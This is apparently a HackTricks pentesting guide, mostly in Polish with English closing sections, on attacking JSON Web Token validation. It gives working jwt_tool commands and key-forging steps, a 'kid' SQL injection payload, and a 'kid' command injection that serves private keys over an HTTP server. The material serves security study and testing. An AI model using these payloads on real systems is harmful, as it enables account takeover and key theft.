JWT Vulnerabilities (Json Web Tokens)
Reading time: 12 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Część tego wpisu opiera się na wspaniałym wpisie: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor wspaniałego narzędzia do pentestingu JWT https://github.com/ticarpi/jwt_tool
Szybkie Zwycięstwa
Uruchom jwt_tool w trybie All Tests!
i czekaj na zielone linie
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa nieprawidłowo sprawdza JWT:
Wtedy możesz wyszukać żądanie w swoim proxy lub zrzucić używany JWT dla tego żądania za pomocą jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Możesz również użyć Burp Extension SignSaboteur do przeprowadzania ataków JWT z Burp.
Manipulacja danymi bez modyfikacji czegokolwiek
Możesz po prostu manipulować danymi, pozostawiając podpis bez zmian i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.
Czy token jest weryfikowany?
Aby sprawdzić, czy podpis JWT jest weryfikowany:
- Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w szczegółowych błędach powinny być przeglądane.
- Zmiana w zwróconej stronie również wskazuje na weryfikację.
- Brak zmiany sugeruje brak weryfikacji; to jest moment, aby eksperymentować z manipulowaniem roszczeniami ładunku.
Pochodzenie
Ważne jest, aby ustalić, czy token został wygenerowany po stronie serwera, czy klienta, badając historię żądań proxy.
- Tokeny po raz pierwszy widziane po stronie klienta sugerują, że klucz może być narażony na kod po stronie klienta, co wymaga dalszego zbadania.
- Tokeny pochodzące z serwera wskazują na bezpieczny proces.
Czas trwania
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
Atak brute-force na tajny klucz HMAC
Zmień algorytm na None
Ustaw używany algorytm na "None" i usuń część podpisu.
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby spróbować tej podatności i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz zmodyfikować wartości tokena. Możesz również wybrać, aby ustawić wartość pola "Alg" na "None").
Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
Algorytm HS256 używa tajnego klucza do podpisywania i weryfikacji każdej wiadomości.
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania.
Jeśli zmienisz algorytm z RS256 na HS256, kod zaplecza używa klucza publicznego jako tajnego klucza, a następnie używa algorytmu HS256 do weryfikacji podpisu.
Następnie, używając klucza publicznego i zmieniając RS256 na HS256, moglibyśmy stworzyć ważny podpis. Możesz pobrać certyfikat serwera WWW, wykonując to:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nowy klucz publiczny w nagłówku
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w Burp.
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
Oszustwo JWKS
Instrukcje szczegółowo opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych, które wykorzystują roszczenie nagłówka "jku". To roszczenie powinno prowadzić do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.
-
Ocena tokenów z nagłówkiem "jku":
-
Zweryfikuj URL roszczenia "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
-
Zmień wartość "jku" tokena, aby skierować ją do kontrolowanej usługi internetowej, co umożliwi obserwację ruchu.
-
Monitorowanie interakcji HTTP:
-
Obserwowanie żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
-
Podczas korzystania z
jwt_tool
w tym procesie, ważne jest, aby zaktualizować plikjwtconf.ini
o swoją osobistą lokalizację JWKS, aby ułatwić testowanie. -
Polecenie dla
jwt_tool
: -
Wykonaj następujące polecenie, aby zasymulować scenariusz z
jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
Przegląd problemów z Kid
Opcjonalne roszczenie nagłówka znane jako kid
jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
Ujawnianie klucza przez "kid"
Gdy roszczenie kid
jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono "kid":"key/12345"
, należy przeszukać pliki /key/12345 i /key/12345.pem w katalogu głównym serwera.
Przechodzenie po ścieżkach z "kid"
Roszczenie kid
może być również wykorzystane do nawigacji po systemie plików, co potencjalnie pozwala na wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości kid
, aby celować w konkretne pliki lub usługi. Manipulacja JWT w celu zmiany wartości kid
, zachowując oryginalny podpis, może być osiągnięta za pomocą flagi -T
w jwt_tool, jak pokazano poniżej:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Celując w pliki z przewidywalną zawartością, możliwe jest sfałszowanie ważnego JWT. Na przykład plik /proc/sys/kernel/randomize_va_space
w systemach Linux, znany z zawartości 2, może być użyty w parametrze kid
z 2 jako symetrycznym hasłem do generacji JWT.
SQL Injection poprzez "kid"
Jeśli zawartość roszczenia kid
jest używana do pobrania hasła z bazy danych, możliwe jest przeprowadzenie SQL injection poprzez modyfikację ładunku kid
. Przykładowy ładunek, który wykorzystuje SQL injection do zmiany procesu podpisywania JWT, to:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ta zmiana wymusza użycie znanego klucza tajnego, ATTACKER
, do podpisywania JWT.
OS Injection poprzez "kid"
Scenariusz, w którym parametr kid
określa ścieżkę do pliku używaną w kontekście wykonania polecenia, może prowadzić do luk w zabezpieczeniach Remote Code Execution (RCE). Poprzez wstrzykiwanie poleceń do parametru kid
, możliwe jest ujawnienie kluczy prywatnych. Przykładowy ładunek do osiągnięcia RCE i ujawnienia klucza to:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u i jku
jku
jku oznacza JWK Set URL.
Jeśli token używa roszczenia “jku” Header, to sprawdź podany URL. Powinien on wskazywać na URL zawierający plik JWKS, który zawiera klucz publiczny do weryfikacji tokena. Zmodyfikuj token, aby wskazywał wartość jku na usługę internetową, dla której możesz monitorować ruch.
Najpierw musisz stworzyć nowy certyfikat z nowymi kluczami prywatnymi i publicznymi.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Możesz użyć na przykład jwt.io, aby stworzyć nowy JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazującym parametr jku na utworzony certyfikat. Aby stworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry.
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym używanym do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Bezpieczeństwo transportu jest wymagane do przesyłania certyfikatów.
Spróbuj zmienić ten nagłówek na URL pod twoją kontrolą i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku możesz manipulować JWT.
Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Możesz na przykład użyć jwt.io do stworzenia nowego JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na certyfikat .crt utworzony.
Możesz również wykorzystać obie te luki do SSRF.
x5c
Ten parametr może zawierać certyfikat w base64:
Jeśli atakujący wygeneruje certyfikat samopodpisany i stworzy fałszywy token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to zasadniczo fałszywy token zostanie zaakceptowany przez serwer.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Osadzony klucz publiczny (CVE-2018-0114)
Jeśli JWT zawiera osadzony klucz publiczny, jak w poniższym scenariuszu:
Używając poniższego skryptu nodejs, możliwe jest wygenerowanie klucza publicznego z tych danych:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.
ES256: Odkrywanie klucza prywatnego przy użyciu tego samego nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego samego nonce (z SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
{{#ref}} https://www.iana.org/assignments/jwt/jwt.xhtml#claims {{#endref}}
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
{{#ref}} https://github.com/ticarpi/jwt_tool {{#endref}}
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.